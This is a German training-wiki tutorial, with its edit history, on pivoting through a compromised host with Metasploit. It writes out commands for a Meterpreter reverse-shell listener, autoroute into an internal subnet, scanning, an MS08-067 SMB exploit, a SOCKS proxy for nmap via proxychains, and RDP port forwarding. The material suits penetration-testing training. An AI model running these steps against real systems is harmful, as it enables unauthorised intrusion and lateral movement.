Thomas.will: /* Hinweise */

2025-05-22T09:36:34Z

Hinweise

Thomas.will: Die Seite wurde neu angelegt: „== Ziel == * Zugriff auf interne Systeme im Netz 10.0.10.0/24, die vom Angreifer aus nicht direkt erreichbar sind * Nutzung eines kompromittierten Hosts als Sp…“

2025-05-22T09:34:43Z

Die Seite wurde neu angelegt: „== Ziel == * Zugriff auf interne Systeme im Netz 10.0.10.0/24, die vom Angreifer aus nicht direkt erreichbar sind * Nutzung eines kompromittierten Hosts als Sp…“

Neue Seite

== Ziel ==
* Zugriff auf interne Systeme im Netz 10.0.10.0/24, die vom Angreifer aus nicht direkt erreichbar sind
* Nutzung eines kompromittierten Hosts als Sprungbrett („Jump Host“)
* Portweiterleitung, Routing und Exploits über Metasploit

== Voraussetzungen ==
* Erfolgreicher Exploit mit Meterpreter-Session auf einem System innerhalb von 10.0.10.0/24
* Metasploit ist aktiv mit laufender Session

== Meterpreter-Session starten ==
* Exploit nutzen oder manuell Listener starten:
<pre>
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.1
set LPORT 4444
run
</pre>

* Wenn sich das Ziel meldet:
<pre>
sessions
</pre>

Beispielausgabe:
<pre>
[*] Meterpreter session 1 opened
</pre>

== Interne Netzwerke sichtbar machen ==
* In der Session:
<pre>
sessions -i 1
ipconfig
route
arp
</pre>

* Notiere interne Subnetze, z. B. 10.0.10.0/24

== Autoroute einrichten für 10.0.10.0/24 ==
* In der aktiven Meterpreter-Session:
<pre>
run autoroute -s 10.0.10.0 -n 255.255.255.0
</pre>

* Anzeige aller Routen:
<pre>
run autoroute -p
</pre>

== Scannen von Zielen über die Session ==
* Zurück in msfconsole:
<pre>
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.10.10
set PORTS 22,80,445
run
</pre>

* Der Scan wird über die autoroute durch die Meterpreter-Session geleitet.

== Exploits durch die Pivot-Route durchführen ==
* Beispiel:
<pre>
use exploit/windows/smb/ms08_067_netapi
set RHOST 10.0.10.10
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.1
set LPORT 4445
exploit
</pre>

== Optional: SOCKS-Proxy starten für externe Tools ==
* SOCKS-Proxy aktivieren:
<pre>
use auxiliary/server/socks_proxy
run
</pre>

* In /etc/proxychains.conf folgendes ergänzen:
<pre>
socks5 127.0.0.1 1080
</pre>

* Beispiel mit nmap durch die Pivot-Verbindung:
<pre>
proxychains nmap -sT -Pn 10.0.10.20
</pre>

== Portweiterleitung (portfwd) nutzen ==
* In Meterpreter:
<pre>
portfwd add -l 4444 -p 3389 -r 10.0.10.10
</pre>

* Danach kannst du dich lokal auf RDP 127.0.0.1:4444 verbinden → wird an 10.0.10.10:3389 weitergeleitet

== Hinweise ==
* `autoroute` funktioniert nur mit Meterpreter-Sessions
* Für effektives Pivoting sollte der Zielhost nicht durch Firewall blockiert sein
* Der `socks_proxy`-Modus ist nützlich für Tools wie `smbclient`, `nmap`, `proxychains`, `firefox`, etc.
* Mehrere Pivot-Sessions sind möglich, aber unübersichtlich – beschränke dich im Training auf eine

== Siehe auch ==
* [[Metasploit Einführung]]
* [[nmap durch proxychains nutzen]]
* [[Pivoting mit Chisel]]

@@ Zeile 98: / Zeile 98: @@
 == Hinweise ==
-* `autoroute` funktioniert nur mit Meterpreter-Sessions
+*autoroute funktioniert nur mit Meterpreter-Sessions
-* Für effektives Pivoting sollte der Zielhost nicht durch Firewall blockiert sein
+*Für effektives Pivoting sollte der Zielhost nicht durch Firewall blockiert sein
-* Der `socks_proxy`-Modus ist nützlich für Tools wie `smbclient`, `nmap`, `proxychains`, `firefox`, etc.
+*Der socks_proxy-Modus ist nützlich für Tools wie smbclient, nmap, proxychains, firefox, etc.
-* Mehrere Pivot-Sessions sind möglich, aber unübersichtlich – beschränke dich im Training auf eine
+*Mehrere Pivot-Sessions sind möglich, aber unübersichtlich – beschränke dich im Training auf eine
 == Siehe auch ==

Metasploit als Pivot Host - Versionsgeschichte

Thomas.will: /* Hinweise */

Thomas.will: Die Seite wurde neu angelegt: „== Ziel == * Zugriff auf interne Systeme im Netz 10.0.10.0/24, die vom Angreifer aus nicht direkt erreichbar sind * Nutzung eines kompromittierten Hosts als Sp…“